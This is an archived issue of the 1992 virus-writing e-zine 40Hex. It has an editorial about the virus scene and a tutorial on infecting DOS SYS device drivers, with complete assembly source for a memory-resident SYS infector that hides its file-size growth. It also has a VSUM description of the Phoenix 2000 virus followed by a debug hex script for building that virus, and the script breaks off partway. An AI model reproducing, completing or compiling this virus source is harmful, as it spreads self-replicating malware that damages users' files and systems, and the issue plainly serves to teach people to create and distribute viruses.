home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Collection of Hack-Phreak Scene Programs
/
cleanhpvac.zip
/
cleanhpvac
/
40HEXX.ZIP
/
40HEX009
< prev
next >
Wrap
Text File
|
1998-01-21
|
189KB
|
4,365 lines
40Hex Number 9 Volume 2 Issue 5 File 000
Welcome to the ninth issue of 40 Hex! This month brings lots of exciting
and neat-o stuff. The feature article this month is Dark Angel's tutorial on
SYS infections. As always, we have more virii news and more disassemblies and
yes, even more debug scripts. A few quick notes:
- Join PS/Net! Contact your friendly neighborhood Phalcon/Skism sysop
for details.
- We have been copied extensively by virtually every virus group in
existence and, with few exceptions, have not been given credit for
our work. It is getting tedious, to say the least, to reread what
we have already written. In the future, please don't be quite so
lame.
- Landfill is down again, but a new board, Liquid Euphoria, run by
our newest member, Hawkmoon, has taken its place. The board is
stable and will not go down without warning, we promise! Call it,
love it, hold it as your own. Special thanks to Hawkmoon for
editing portions of 40Hex.
- All are invited to contribute to 40Hex, be it in the form of an
article, original virus, or whatever. Contact a Phalcon/Skism
board for details.
- Finally, happy new year to all virus and anti-virus people everywhere!
The new year promises to bring more nify innovations in both virii and
viral toolkits from Phalcon/Skism. Stay tuned.
40Hex-9 Table of contents
December 31, 1992
File Description
40Hex-9.000......................You Are Here!
40Hex-9.001......................40Hex Editorial
40Hex-9.002......................SYS Virii
40Hex-9.003......................Phoenix 2000 Debug Dump
40Hex-9.004......................More antidebugger techniques
40Hex-9.005......................Virus Spotlite: 4096
40Hex-9.006......................Nina disassembly
40Hex-9.007......................A New Virus Naming Convention
40Hex-9.008......................Code Optimization
40Hex-9.009......................FirstStrike's Catfish virus
Greets to: All Phalcon/Skism members, FirstStrike, Apache Warrior,
[NuKE], ex-Senior Engineers of Data Plus, and virus writers
everywhere!
-)Gheap
40Hex Number 9 Volume 2 Issue 5 File 001
40-Hex Editorial:
VX: What the Hell's happened?
by DecimatoR
Please note, the opinions expressed herein are not necessarily those of all
the Phalcon/Skism members, and this article was not intentionally directed
towards one group or individual in particular.
1991: The virus scene was almost nonexistent. A handful of virus
boards populated the earth, the biggest being the Virus Exchange in
Bulgaria. In the US, only a very few boards had viruses.. and those which
did ALL had less than 100. If you had 80 viruses back then, you were God.
Today, just one year later, if you have less than 800 you're LAME. Viruses
are everywhere. Unfortunately, almost NONE of them are original. They're
all hacks of hacks of hacks of hacks, or else all cranked out by MPC or VCL,
the 2 virus generation programs in mass distribution. No one (save a few)
writes original code anymore. The recent flood of lame viruses all prove
that. MPC and VCL account for over half of the "new" viruses released each
day - and ALL the viruses generated by those programs are scannable before
they even get compiled. So why do people keep using the programs? Why
create 30 viruses which all do the same thing, except maybe on a different
day, or using a different text string? Why? I'll tell you why. Because
the kids using MPC and VCL are basically talentless programmers who think
it's cool to stick their name in a program and pass it around. They believe
they'll achieve god-like fame in the underground by creating these little
clones and changing a few bytes. Are these people cool? Hardly. It takes
true talent to create a virus. It takes brains and skill to write a virus
which will work as planned, avoid detection, and propagate itself. The
authors of MPC and VCL are very talented programmers. Unfortunately, the
users of their programs are just the opposite. REAL virus programmers have
a desire to LEARN assembler - it's a test of their skill and ability. The
users of MPC and VCL don't have that desire. They only have a desire for
recognition - and seeing their name in a virus is a massive ego trip for
them. Why? They did nothing that any Joe Blow couldn't have done using a
code generator. If they REALLY want to prove how cool they are, let THEM
write a damn virus generation program and release it. THAT ALONE will show
the world their skill and ability. As for USING the program, well, I'm more
impressed with a nicely formatted term paper using WordPerfect than I am
with viruses created using MPC and VCL. If you're one of the lame idiots
who uses MPC or VCL for "writing" viruses, then listen up - those programs
were written for 2 reasons - to prove the programmer could write such a
thing, and to be used as a LEARNING TOOL for future virus writers - NOT to
be abused the way they currently are. Stop acting lame and actually CREATE
an ORIGINAL virus for once, people! And if you find that's impossible, then
get the hell out of the scene and let the people who CAN program do it!
Enough on that end. Now it's time to bitch about the virus boards.
These so called "elite" boards that have 1,255,443,453.7 viruses online for
anyone to call up and leech. These places where the little kiddies put
thier newest MPC and VCL creation for all the other little kiddies, to show
how /<-RaD they are. And as soon as one virus is put up, 300 people grab
it, half of them send it off to other VX boards, and half ship it to the
Anti-Virus boards. What's the purpose? The virus scene has become the same
as the WAREZ SCENE! Or, as Garbageheap puts it - Micro-Warez.
Micro-WareZ: n. Viruses created by talentless individuals and passed
around the way pirated software is.
ie: "Hey D00dZ I got the newest MiCroWareZ from that
BBS in 404!!! Now I'm up to 1,231,902!!!#!$@$~!"
Micro-Warez Pups: n. (pl) 1) Those individuals actively engaging in the
collection, creation, and distribution of Micro-Warez.
2) People who collect viruses simply because they
want to have more than anyone else.
See also: LAMERS
What's the point in these MicroWareZ (also known as VX) boards? All the
virus "authors" (I hate using that term - REAL virus authors don't frequent
microwarez boards) anyway -all the virus authors send up their newest lame
little hacks, and in 15 minutes they're on all VX boards everywhere. In 20
minutes, the AV people are looking at them. In 23 minutes the AV people
have determined that the new Ware is just a lame little hack, and is already
scannable by all virus scanners available. In 23.2 minutes, the AV people
have deleted the virus, and are back drinking coffee and chatting on the
COMP.VIRUS Usenet echo, saying things like "Just found another lame little
hack. Nothing to worry about guys, not like this is anything new or
ingenious or something. My scanner catches it since July of 91."
My point here is - WHAT THE HELL IS THE PURPOSE OF THIS? AV people
no longer have to wait for some unlucky infected soul to send them a copy of
a new virus. They simply call up the local VX board and download it before
ANYONE gets infected. Again I ask you - WHAT IS THE @*#$!%& PURPOSE? It's
not cool, it's not elite, its FUKKING STUPID! Pardon the french. The
so-called Virus underground is no longer underground. It's as open as
the ANTI-VIRUS scene is. Anyone can get anything they want, because NO ONE
cares! Everyone's got them, and anyone who wants them can find them. The
virus scene is no longer elite. It's lamer then the warez scene is. And
it's a shame. It once required talent and skill. Now it requires the
intelligence of a grapefruit... well... not even that much.
So the question remains - "Gee DecimatoR, if you're so against all
this virus stuff, then what the hell are you doing in P/S? Why do you run a
virus board?"
My answer: I have a desire to LEARN, and MY board is private. The
number was changed, all users deleted, and only those with an interest in
LEARNING will be allowed on. Yes, I still have all the damn viruses. Cause
when the Gestapo decides it's time to make the creation, distribution, and
possession of viruses illegal, I wanna be sure people will be able to find
them somewhere. I don't cater to microwarez pups, and I'm about as
interested in the newest VCL creation as I am in the color of your undies.
Viruses illegal? Yes, I'm sure they someday will be. Unfortunately.
Because when the Gestapo makes them illegal, it's taking away the rights of
ALL Americans to freely create and use programs. And that's the beginning
of the end of Democracy and American Freedom. Anyway, that's enough bitching
for one day. If I've pissed you off, good. You're probably one of the
lamers I was writing about. If I haven't, well... next time then.
Till 40-Hex 10.....
> Peace <
--DecimatoR
40Hex Number 9 Volume 2 Issue 5 File 002
²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²
An Introduction to Nonoverwriting Viruses
Part III: SYS Infectors
By Dark Angel
²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²
The SYS file is the most overlooked executable file structure in DOS.
Viruses are quite capable of infecting SYS files, as DOS kindly allows for
such extensions to this file format.
The SYS file is loaded beginning at offset 0 of a particular segment.
It consists of a header followed by code. SYS files may be chained
together after a simple modification in the header. This is the key to
infecting SYS files.
There are two types of device drivers; block and character. Block
devices include floppy, hard, and virtual disks, i.e. any media which can
store data. Character devices include printers, modems, keyboard, and the
screen. The virus will generally be a character device, as it reduces
complexity.
The header structure is straightforward:
Offset Size Description
------ ---- -----------
0h DWORD Pointer to next header
4h WORD Attribute
6h WORD Pointer to strategy routine
8h WORD Pointer to interrupt routine
0Ah QWORD Name of the device driver
The pointer to the next device driver header appears at offset zero in the
header. This is a far pointer consisting of a segment:offset pair. If the
current device is the only device appearing in the SYS file, then this
pointer should be set to FFFF:FFFF. However, if there are two or more
device drivers contained in the file, then the offset field should be equal
to the absolute location of the next device in the file. The segment field
should remain FFFF. For example, if a second device driver occurs at
offset 300h of the file, then the DWORD at offset 0 would be FFFF:0300 The
second (and all other) device driver must contain a new header as well.
The next field contains the attribute of the device driver. Bit 15
determines the nature of the device driver. If bit 15 is set, then the
device driver header corresponds to a character device; otherwise, the
device is a block device. You need not concern yourself with any of the
other bits; they may remain cleared.
Before the next two fields may be understood, it is necessary to introduce
the concept of the request header. The request header contains DOS's
requests of the device driver. For example, DOS may ask for initialisation
or a read or even a status check. The information needed by the device
driver to interpret the request is all contained in the request header. It
is passed to the strategy routine by DOS as a far pointer in ES:BX. The
job of the strategy routine is to save the pointer for use by the interrupt
routine. The interrupt routine is called by DOS immediately after the
strategy routine. This routine processes the request in the header and
performs the appropriate actions.
The word-length pointers in the SYS header to the strategy and interrupt
routines are relative to the start of the SYS file. So, if the strategy
routine resides in absolute offset 32h in the file, then the field
containing the location of the strategy routine would hold the number 32h.
The name field in the SYS header simply holds an 8 byte device name. For
example, 'NUL ' and 'CLOCK$ ' are two common DOS devices. The name
should be justified with space characters (0x20).
By using DOS's feature of chaining SYS files, we may easily infect
this type of file. No bytes need to be saved. There are but two steps.
The first is to concatenate the virus to the target file. The second is to
alter the first word of the SYS file to point to the virus header. The
only trick involved is writing the SYS interrupt routine. The format of
the request header is:
Offset Size Description
------ ---- -----------
0h BYTE Length of request header (in bytes)
1h BYTE Unit code (for block devices)
2h BYTE Command code
3h WORD Status
5h QWORD Reserved by DOS
0Dh Var. Data for the operation
Only one command code is relevant for use in the virus. Upon
initialisation of the device driver, DOS will send a request header with 0
in the command code field. This is the initialisation check. The format
of the variable sized field in the request header in this case is:
Offset Size Description
------ ---- -----------
0Dh BYTE Number of units (ignored by character devices)
0Eh DWORD Ending address of resident program code
12h DWORD Pointer to BPB aray (ignored by character devices)
16h BYTE Drive number (irrelevant in character devices)
The only relevant fields are at offset 3 and 0Eh. Offset 3 holds the
status word of the operation. The virus fills this in with the appropriate
value. Generally, the virus should put a value of 100h in the status word
in the event of a successful request and a 8103h in the status word in the
event of a failure. The 8103h causes DOS to think that the device driver
does not understand the request. A value of 8102h should be returned in
the event of a failed installation. Offset 0Eh will hold the address of
the end of the virus (include the heap!) in the event of a successful
installation and CS:0 in the event of a failure.
Basically, the strategy routine of the virus should contain a simple
stub to save the es:bx pointer. The interrupt routine should fail all
requests other than initialisation. It should perform an installation if
the virus is not yet installed and fail if it is already in memory
(remember to set offset 0eh to cs:0).
A sample infector with very limited stealth features follows. While it is
somewhat large, it may be easily coupled with a simple COM/EXE infection
routine to create a powerful virus. It is a SYS-only, memory resident
infector.
---------------------------------------------------------------------------
.model tiny
.code
org 0 ; SYS files originate at zero
; SYS infector
; Written by Dark Angel of Phalcon/Skism
; for 40Hex
header:
next_header dd -1 ; FFFF:FFFF
attribute dw 8000h ; character device
strategy dw offset _strategy
interrupt dw offset _interrupt
namevirus db 'SYS INF ' ; simple SYS infector
endheader:
author db 0,'Simple SYS infector',0Dh,0Ah
db 'Written by Dark Angel of Phalcon/Skism',0
_strategy: ; save es:bx pointer
push si
call next_strategy
next_strategy:
pop si
mov cs:[si+offset savebx-offset next_strategy],bx
mov cs:[si+offset savees-offset next_strategy],es
pop si
retf
_interrupt: ; install virus in memory
push ds ; generally, only the segment
push es ; registers need to be preserved
push cs
pop ds
call next_interrupt
next_interrupt:
pop bp
les bx,cs:[bp+savebx-next_interrupt] ; get request header
pointer
mov es:[bx+3],8103h ; default to fail request
cmp byte ptr es:[bx+2], 0 ; check if it is installation
request
jnz exit_interrupt ; exit if it is not
mov es:[bx+10h],cs ; fill in ending address value
lea si,[bp+header-next_interrupt]
mov es:[bx+0eh],si
dec byte ptr es:[bx+3] ; and assume installation failure
mov ax, 0b0fh ; installation check
int 21h
cmp cx, 0b0fh
jz exit_interrupt ; exit if already installed
add es:[bx+0eh],offset endheap ; fixup ending address
mov es:[bx+3],100h ; and status word
xor ax,ax
mov ds,ax ; ds->interrupt table
les bx,ds:[21h*4] ; get old interrupt handler
mov word ptr cs:[bp+oldint21-next_interrupt],bx
mov word ptr cs:[bp+oldint21+2-next_interrupt],es
lea si,[bp+int21-next_interrupt]
cli
mov ds:[21h*4],si ; replace int 21h handler
mov ds:[21h*4+2],cs
sti
exit_interrupt:
pop es
pop ds
retf
int21:
cmp ax,0b0fh ; installation check?
jnz notinstall
xchg cx,ax ; mark already installed
exitint21:
iret
notinstall:
pushf
db 9ah ; call far ptr This combined with
the
oldint21 dd ? ; pushf simulates an int 21h call
pushf
push bp
push ax
mov bp, sp ; set up new stack frame
; flags [bp+10]
; CS:IP [bp+6]
; flags new [bp+4]
; bp [bp+2]
; ax [bp]
mov ax, [bp+4] ; get flags
mov [bp+10], ax ; replace old flags with new
pop ax ; restore the stack
pop bp
popf
cmp ah, 11h ; trap FCB find first and
jz findfirstnext
cmp ah, 12h ; FCB find next calls only
jnz exitint21
findfirstnext:
cmp al,0ffh ; successful findfirst/next?
jz exitint21 ; exit if not
push bp
call next_int21
next_int21:
pop bp
sub bp, offset next_int21
push ax ; save all registers
push bx
push cx
push dx
push ds
push es
push si
push di
mov ah, 2fh ; ES:BX <- DTA
int 21h
push es ; DS:BX->DTA
pop ds
cmp byte ptr [bx], 0FFh ; extended FCB?
jnz regularFCB ; continue if not
add bx, 7 ; otherwise, convert to regular FCB
regularFCB:
mov cx, [bx+29] ; get file size
mov word ptr cs:[bp+filesize], cx
push cs ; ES = CS
pop es
cld
; The following code converts the FCB to an ASCIIZ string
lea di, [bp+filename] ; destination buffer
lea si, [bx+1] ; source buffer - filename
cmp word ptr [si],'OC' ; do not infect CONFIG.SYS
jz bombout
mov cx, 8 ; copy up to 8 bytes
back: cmp byte ptr ds:[si], ' ' ; is it a space?
jz copy_done ; if so, done copying
movsb ; otherwise, move character to
buffer
loop back
copy_done:
mov al, '.' ; copy period
stosb
mov ax, 'YS'
lea si, [bx+9] ; source buffer - extension
cmp word ptr [si], ax ; check if it has the SYS
jnz bombout ; extension and exit if it
cmp byte ptr [si+2], al ; does not
jnz bombout
stosw ; copy 'SYS' to the buffer
stosb
mov al, 0 ; copy null byte
stosb
push ds
pop es ; es:bx -> DTA
push cs
pop ds
xchg di,bx ; es:di -> DTA
; open file, read/only
call open ; al already 0
jc bombout ; exit on error
mov ah, 3fh ; read first
mov cx, 2 ; two bytes of
lea dx, [bp+buffer] ; the header
int 21h
mov ah, 3eh ; close file
int 21h
InfectSYS:
inc word ptr cs:[bp+buffer] ; if first word not FFFF
jz continueSYS ; assume already infected
; this is a safe bet since
; most SYS files do not have
; another SYS file chained on
alreadyinfected:
sub es:[di+29], heap - header ; hide file size increase
; during a DIR command
; This causes CHKDSK errors
;sbb word ptr es:[di+31], 0 ; not needed because SYS files
; are limited to 64K maximum
bombout:
pop di
pop si
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
pop bp
iret
continueSYS:
push ds
pop es
lea si, [bp+offset header]
lea di, [bp+offset bigbuffer]
mov cx, offset endheader - offset header
rep movsb
mov cx, cs:[bp+filesize]
add cx, offset _strategy - offset header ; calculate offset to
mov word ptr [bp+bigbuffer+6],cx ; strategy routine
add cx, offset _interrupt - offset _strategy;calculate offset to
mov word ptr cs:[bp+bigbuffer+8], cx ; interrupt routine
continueinfection:
mov ax, 4300h ; get file attributes
lea dx, [bp+filename]
int 21h
push cx ; save attributes on stack
push dx ; save filename on stack
mov ax, 4301h ; clear file attributes
xor cx, cx
lea dx,[bp+filename]
int 21h
call openreadwrite
mov ax, 5700h ; get file time/date
int 21h
push cx ; save them on stack
push dx
mov ah, 40h ; write filesize to the old
mov cx, 2 ; SYS header
lea dx, [bp+filesize]
int 21h
mov ax, 4202h ; go to end of file
xor cx, cx
cwd ; xor dx, dx
int 21h
mov ah, 40h ; concatenate header
mov cx, offset endheader - offset header
lea dx, [bp+bigbuffer]
int 21h
mov ah, 40h ; concatenate virus
mov cx, offset heap - offset endheader
lea dx, [bp+endheader]
int 21h
mov ax, 5701h ; restore file time/date
pop dx
pop cx
int 21h
mov ah, 3eh ; close file
int 21h
mov ax, 4301h ; restore file attributes
pop cx
pop dx
int 21h
jmp bombout
openreadwrite:
mov al, 2 ; open read/write mode
open: mov ah, 3dh
lea dx,[bp+filename]
int 21h
xchg ax, bx ; put handle in bx
ret
heap:
savebx dw ?
savees dw ?
buffer db 2 dup (?)
filename db 13 dup (?)
filesize dw ?
bigbuffer db offset endheader - offset header dup (?)
endheap:
end header
---------------------------------------------------------------------------
The reason the "delta offset" is needed throughout the file is because
it is impossible to know the exact location where the SYS file will be
loaded into memory. This can be ameliorated by some file padding and fancy
mathematical calculations.
The advantages of using SYS files are manyfold. There is no load high
routine involved apart from the strategy/interrupt routines. This saves
space. SYS files also generally load before TSR virus checkers. TSR
checkers also can't detect the residency routine of the virus, since it is
a normal part of the DOS loading process. The routine for the infection of
the SYS file is ridiculously easy to implement and takes remarkably little
space, so there is no reason not to include SYS support in viruses.
Finally, the memory "loss" reported by CHKDSK usually associated with
memory resident viruses is not a problem with SYS files.
A SYS file infector, when combined with a COM and EXE general
infector, can lead to a powerful virus. Once the first SYS file is
infected, the infected system becomes extremely vulnerable to the virus, as
there is little the user can do to prevent the virus from running, short
of a clean boot.
40Hex Number 9 Volume 2 Issue 5 File 003
Below is the debug script for the Phoenix 2000 virus. Let's see what Patti
Hoffman's VSUM has to say about it:
Phoenix 2000
Virus Name: Phoenix 2000
Aliases:
V Status: Rare
Discovered: December, 1991
Symptoms: .COM file growth; .EXE files altered; TSR; decrease in total
system and available free memory
Origin: Bulgaria
Eff Length: 2,000 Bytes
Type Code: PRshAK - Parasitic Resident .COM & .EXE Infector
Detection Method: ViruScan, AVTK 5.54+, UTScan 22.00+
Removal Instructions: Delete infected files
General Comments:
The Phoenix 2000 virus was received from The Netherlands in December,
1991, where it was uploaded to several BBSes by a person identifying
themself as "Dark Avenger". This virus originated in Bulgaria, and
is closely related to the earlier V82 virus. Phoenix 2000 is a
memory resident infector of .COM and .EXE files, as well as
COMMAND.COM.
The first time a program infected with Phoenix 2000 is executed, the
Phoenix 2000 virus will become memory resident at the top of system
memory but below the 640K DOS boundary. It will also install a
small TSR in low system memory of 112 bytes. The virus at the top
of system memory is 8,192 bytes in size, this is the amount total
system memory as indicated by the DOS CHKDSK program will decrease
by. The decrease in available free memory will be slightly more.
The Phoenix 2000 virus hooks interrupt 2A. Interrupt 12's return
will not have been moved.
Once Phoenix 2000 is memory resident, it will infect .COM and .EXE
programs, including COMMAND.COM, when they are opened, executed,
copied, or accessed in any way. While it will always infect .COM
files, .EXE files are only successfully infected if they contain
2,000 bytes of binary 00 characters in a continuous block. If the
2,000 bytes of binary 00 characters do not exist, the file may be
partially infected, but will not be replicating copy of the virus.
.COM programs, other than COMMAND.COM, will have a file length
increase of 2,000 bytes with the virus being located in the middle
or end of the infected file. Phoenix 2000 is unable to identify
previous infections of itself on infected .COM files, so they
may become reinfected by Phoenix 2000, adding an additional 2,000
bytes to the file for each reinfection. There will be no change
to the file's date and time in the DOS disk directory listing.
COMMAND.COM and .EXE files will not have a file length increase when
they are infected with the Phoenix 2000 virus. In these two cases,
the virus will overwrite 2,000 bytes of binary 00 characters within
the file with the virus code. For .EXE files with less than 2,000
bytes of binary 00 characters, the file will be partially infected
and may not function properly as a result.
To create the virus, simply copy the script below to a file called
"Phoenix.lst" and type:
debug < phoenix.lst > nul
Dark Angel
-------------------------------------------------------------------------------
n phoenix.com
e 0100 E8 00 00 5E 95 B9 D6 03 51 8B FE 33 D2 2E 33 54
e 0110 1F 46 46 49 79 F7 58 2E 31 55 1F 47 47 48 79 F7
e 0120 87 C9 87 F6 87 D2 FA 81 C6 4F F8 1E E8 86 01 8E
e 0130 C7 4F 26 3B 5D 78 74 0F 80 6D 02 02 1F 1E 80 EF
e 0140 02 3B 1D 73 02 89 1D 83 C7 76 B8 D5 06 AB 8B C3
e 0150 AB 06 1F B9 00 20 B0 2E F2 AE 81 3D FF 1E 75 F8
e 0160 8B 7D 02 81 C7 D0 06 B8 59 07 AB 93 AB FF 75 FA
e 0170 FF 75 F8 0E 1F 8B DE 8A FB 03 9C 57 01 56 8E C0
e 0180 33 FF B9 22 00 8B C6 3A C3 74 02 3A C7 AC 74 01
e 0190 AA E2 F2 AF B9 D9 03 F3 A5 5E 58 AB 58 AB 92 48
e 01A0 AB 51 B2 80 B4 08 9C 26 FF 5D FA 58 AA 72 0C 80
e 01B0 FA 02 73 05 80 FE 04 72 02 B4 FE AB 07 FB 56 81
e 01C0 C6 4A 01 B9 E8 03 EB 49 E8 EA 00 8E DF 3B 5D 77
e 01D0 74 2D BF 4C 00 C4 5D D0 B4 13 CD 2F 06 B0 F5 E6
e 01E0 60 33 C0 E6 61 8E C0 93 AB 58 AB BA 80 00 B9 01
e 01F0 00 B8 11 03 CD 13 FE C5 75 F7 80 C1 40 EB F2 95
e 0200 E8 00 00 5E 83 C6 C5 56 0E 1F 81 C6 82 00 B9 80
e 0210 00 BF FD 00 8C DA 01 54 0B 3B 54 0B 75 3B A5 A4
e 0220 A5 A5 5F AD 8B DE 8B F0 06 1F 2E FF 2F F3 A5 96
e 0230 8B F9 C6 05 4D 89 55 03 42 26 29 55 03 B4 50 CD
e 0240 21 0E 1F 8E C3 8D 5C 09 EB DE F3 AA 95 00 00 00
e 0250 00 C3 C3 FD 00 00 00 21 20 03 54 07 8B 4C 03 56
e 0260 8B 74 05 E3 0C AD 93 AD 03 C2 8E C0 26 01 17 E2
e 0270 F4 8E C2 AD 91 E3 07 AD 93 26 01 17 E2 F9 8C C0
e 0280 80 C4 10 8E C0 33 C2 75 EA 5E B1 11 8C DB 2B D3
e 0290 2B D9 8E DB 8B FA 2B F9 B1 04 D3 E7 83 EF 0F 43
e 02A0 3B F7 73 9D 4A 03 DA 8E C3 43 96 89 5C 01 8B FE
e 02B0 B1 88 E9 78 FF FC BF 03 00 8C DB 4B 8E DB 43 03
e 02C0 1D 80 7D FD 5A 75 F5 C3 72 FD 50 B8 20 12 CD 2F
e 02D0 72 0A 53 26 8A 1D B8 16 12 CD 2F 5B 5E 72 E8 06
e 02E0 1F C6 45 02 02 FF 75 05 33 C0 87 45 17 50 33 C0
e 02F0 87 45 15 50 56 BA 03 04 B1 80 84 75 04 75 39 80
e 0300 FD 3E 75 05 BA 02 00 B1 C0 22 4D 05 75 2B 2E 89
e 0310 16 DD 07 8B 45 28 3D 45 58 74 13 3D 43 4F 75 13
e 0320 3B 45 20 B8 4D 4D 75 06 3B 45 22 75 01 41 3A 45
e 0330 2A 74 09 80 FD 4B 74 04 F9 E9 A8 02 51 0E 1F BA
e 0340 C5 17 B9 1A 00 B4 3F CD 21 33 C8 F9 75 4D 8B F2
e 0350 AD 3D 4D 5A 74 4A 3D 5A 4D 74 45 26 3B 4D 13 F9
e 0360 75 39 A3 4D 01 AD A3 4F 01 26 8B 45 11 2D 10 08
e 0370 72 29 26 89 45 15 50 E8 A4 02 72 1D 8B F2 8B 04
e 0380 A3 51 01 B5 AB 88 2E 4B 01 32 C4 75 0C 50 E8 7C
e 0390 02 58 72 05 AC 32 C4 E1 FB 91 5A 59 72 9B 74 2A
e 03A0 74 42 84 C9 75 92 33 F6 3D D2 06 72 1D 26 8A 45
e 03B0 12 F6 D0 A8 38 74 81 58 50 86 C4 33 D2 26 8B 75
e 03C0 11 83 EE 03 F7 F6 83 C2 03 49 51 26 89 55 15 8B
e 03D0 C2 2D 03 00 C6 06 C5 17 E9 A3 C6 17 B9 FD 00 33
e 03E0 C0 E9 18 01 8B 44 16 26 89 45 15 B1 04 E8 30 02
e 03F0 72 A9 D1 E8 87 44 06 48 48 A3 51 01 01 44 0C 01
e 0400 44 14 40 40 B1 10 3A E1 F5 72 90 F7 E1 87 54 04
e 0410 8B CA D1 E2 D1 E2 03 54 16 2B C2 72 EC 83 7C 0A
e 0420 00 74 0F 50 2D F2 07 73 17 D1 E0 03 D0 72 11 2B
e 0430 D0 58 2D 22 01 73 06 D1 E0 03 D0 73 CB 33 C0 50
e 0440 8B 44 16 2B D0 5E 72 C1 56 80 E2 FC 03 D0 26 89
e 0450 55 15 2B D0 D1 EA D1 EA BE E5 07 56 2D 20 00 73
e 0460 0A 83 EE 04 05 04 00 4A 79 01 42 89 16 4D 01 2B
e 0470 CA 73 02 33 C9 A3 4F 01 5A 51 D1 E1 D1 E1 75 09
e 0480 3B F2 74 05 26 80 45 15 04 B4 3F CD 21 59 72 56
e 0490 26 29 45 15 57 53 BF DF 17 32 D2 51 56 57 AF 57
e 04A0 E3 23 AD 8B F8 AD D1 C0 D1 C0 D1 C0 D1 C0 8B D8
e 04B0 80 E3 F0 03 DF 14 00 24 0F 3A C2 75 06 5F 89 1D
e 04C0 47 47 57 E2 DD 58 5B 5E 59 8B F8 2B C3 D1 E8 48
e 04D0 89 07 42 80 FA 10 75 C3 5B 5F BA DF 17 D1 E1 83
e 04E0 C1 20 B4 40 CD 21 5E 59 72 7E 51 26 8B 4D 15 83
e 04F0 E9 20 33 C0 87 0E D9 17 87 06 DB 17 89 0E 53 01
e 0500 A3 55 01 59 58 41 56 52 51 53 33 D2 B9 90 00 F7
e 0510 F1 E8 40 01 A3 14 00 E8 3A 01 A3 1E 00 92 B2 06
e 0520 F6 F2 BE E1 07 E8 00 01 BB D8 05 E8 06 01 BB E0
e 0530 07 BE AC 05 B9 26 00 AC 24 3F 74 1F 50 24 07 D7
e 0540 B4 F8 92 58 51 B1 03 D2 E8 74 07 D7 D2 E0 0A D0
e 0550 B6 C0 59 20 B4 53 FA 08 94 53 FA E2 DA 91 5B 59
e 0560 5E 84 C9 75 26 E8 A5 00 72 77 91 26 03 45 11 2B
e 0570 C1 26 89 45 15 FE C4 A3 51 01 C6 06 4B 01 A5 B4
e 0580 40 CD 21 33 C1 75 5A 26 89 75 15 06 57 99 A3 57
e 0590 01 96 EC 24 1F 91 EC 24 1F 1E 07 BF E1 07 F6 84
e 05A0 AC 05 80 74 04 E8 B6 00 91 A4 81 FE 20 00 75 EE
e 05B0 E8 AB 00 AD B9 D7 03 AD 33 06 D8 07 33 D0 AB E2
e 05C0 F6 33 54 08 31 55 E0 5F 07 5E 56 B4 40 E8 3F 00
e 05D0 33 C8 75 0D 26 89 4D 15 BA C5 17 B1 18 B4 40 CD
e 05E0 21 B5 3E F9 58 06 1F 8F 45 15 8F 45 17 73 11 8A
e 05F0 45 0D F6 D0 A8 1F 74 08 80 4D 0D 1F 80 65 05 BF
e 0600 58 0A C4 24 40 08 45 06 B4 3E CD 21 C3 B4 3F B9
e 0610 00 01 BA C8 00 85 F6 74 0C B9 D0 07 EB 04 B1 02
e 0620 B4 3F BA E1 07 CD 21 C3 BB D2 05 E8 08 00 88 04
e 0630 46 BB D5 05 8A C4 D0 E8 8A D0 50 14 01 3C 03 72
e 0640 02 2C 03 0A D0 D7 88 04 46 58 D7 88 04 46 8A C2
e 0650 34 03 D7 C3 D1 EA B8 79 F7 73 02 0C 04 C3 E8 01
e 0660 00 91 98 3C 02 73 02 B0 02 3B F0 76 3E 8D 45 1F
e 0670 8A 26 57 01 A3 57 01 48 3A C4 B0 90 AA 75 14 EC
e 0680 24 1F 3C 08 73 0D B4 09 F6 E4 04 C0 8A E0 B0 87
e 0690 89 45 FE 8B C6 53 B3 15 2C 11 3C 05 72 08 B3 1F
e 06A0 2C 0A 3C 05 73 02 FE 0F 5B B0 20 C3 00 00 00 84
e 06B0 80 82 00 00 82 80 2C 80 09 80 00 0E 00 84 84 82
e 06C0 80 00 83 80 00 0F 00 85 85 83 80 00 00 00 00 04
e 06D0 00 01 00 01 02 03 06 07 07 04 05 9C FA 50 53 51
e 06E0 52 56 57 1E 06 FC 0E 07 91 80 FD 3E 74 0F 8B F2
e 06F0 BF DF 17 B4 60 CD 21 B8 00 3D CD 21 93 BA 00 00
e 0700 8E DA BF D0 07 BE 4C 00 B8 B3 07 87 04 AB 50 8C
e 0710 C0 87 44 02 AB 50 B8 38 07 87 44 44 50 8C C0 87
e 0720 44 46 50 1E 56 A1 6C 04 50 E8 9C FB 0E 1F BE DF
e 0730 17 8B FE 80 FD 4B 74 0C 54 58 80 FD 3E F9 74 75
e 0740 3B C4 72 71 AC 3C 5C 75 02 8B FE 84 C0 75 F5 B8
e 0750 2A 2E 89 05 98 89 45 02 B4 2F CD 21 06 53 BA E1
e 0760 07 B4 1A CD 21 0E 07 B9 23 00 BA DF 17 B4 4E CD
e 0770 21 72 30 A0 F7 07 F6 D0 A8 1F 74 21 BE FF 07 57
e 0780 AC AA 84 C0 75 FA 5F 8B 44 FD 3D 58 45 74 07 3D
e 0790 4F 4D 75 09 B4 43 B0 2E 3B 44 FB 74 06 B4 4F CD
e 07A0 21 73 D0 5A 1F B4 1A CD 21 72 0A 0E 1F BA DF 17
e 07B0 B8 00 3D CD 21 5B 93 E8 0E FB 5E 1F 8F 44 46 8F
e 07C0 44 44 8F 44 02 8F 04 07 1F 5F 5E 5A 59 5B 58 9D
e 07D0 EA 00 00 00 00 56 57 55 1E 06 8B EC 80 FC 82 75
e 07E0 52 8C D8 3B 46 0C 75 4B B8 18 12 CD 2F 8C C8 3B
e 07F0 44 14 74 3F AD 80 EC 3D 74 1F FE CC 74 19 2D 00
e 0800 0D 75 30 C4 7C 10 26 81 7D FE CD 21 75 25 40 2E
e 0810 30 06 B2 07 75 1D F9 B3 30 0E 07 BF D1 06 B8 DB
e 0820 05 87 44 10 73 02 48 48 AB 8C C8 87 44 12 AB 80
e 0830 64 14 FE 07 1F 5D 5F 5E B0 03 CF 58 80 EC 02 80
e 0840 FC 02 73 0C FF 45 01 75 07 B8 01 03 9C FF 5D FA
e 0850 58 D1 E8 73 53 B4 01 EB 51 1E 57 0E 1F BF DA 07
e 0860 80 3D 00 74 0D 41 75 09 32 E4 86 25 F9 8B 4D 05
e 0870 41 49 9C 50 9C FF 5D FA 73 C1 1F 1F EB 2C 88 25
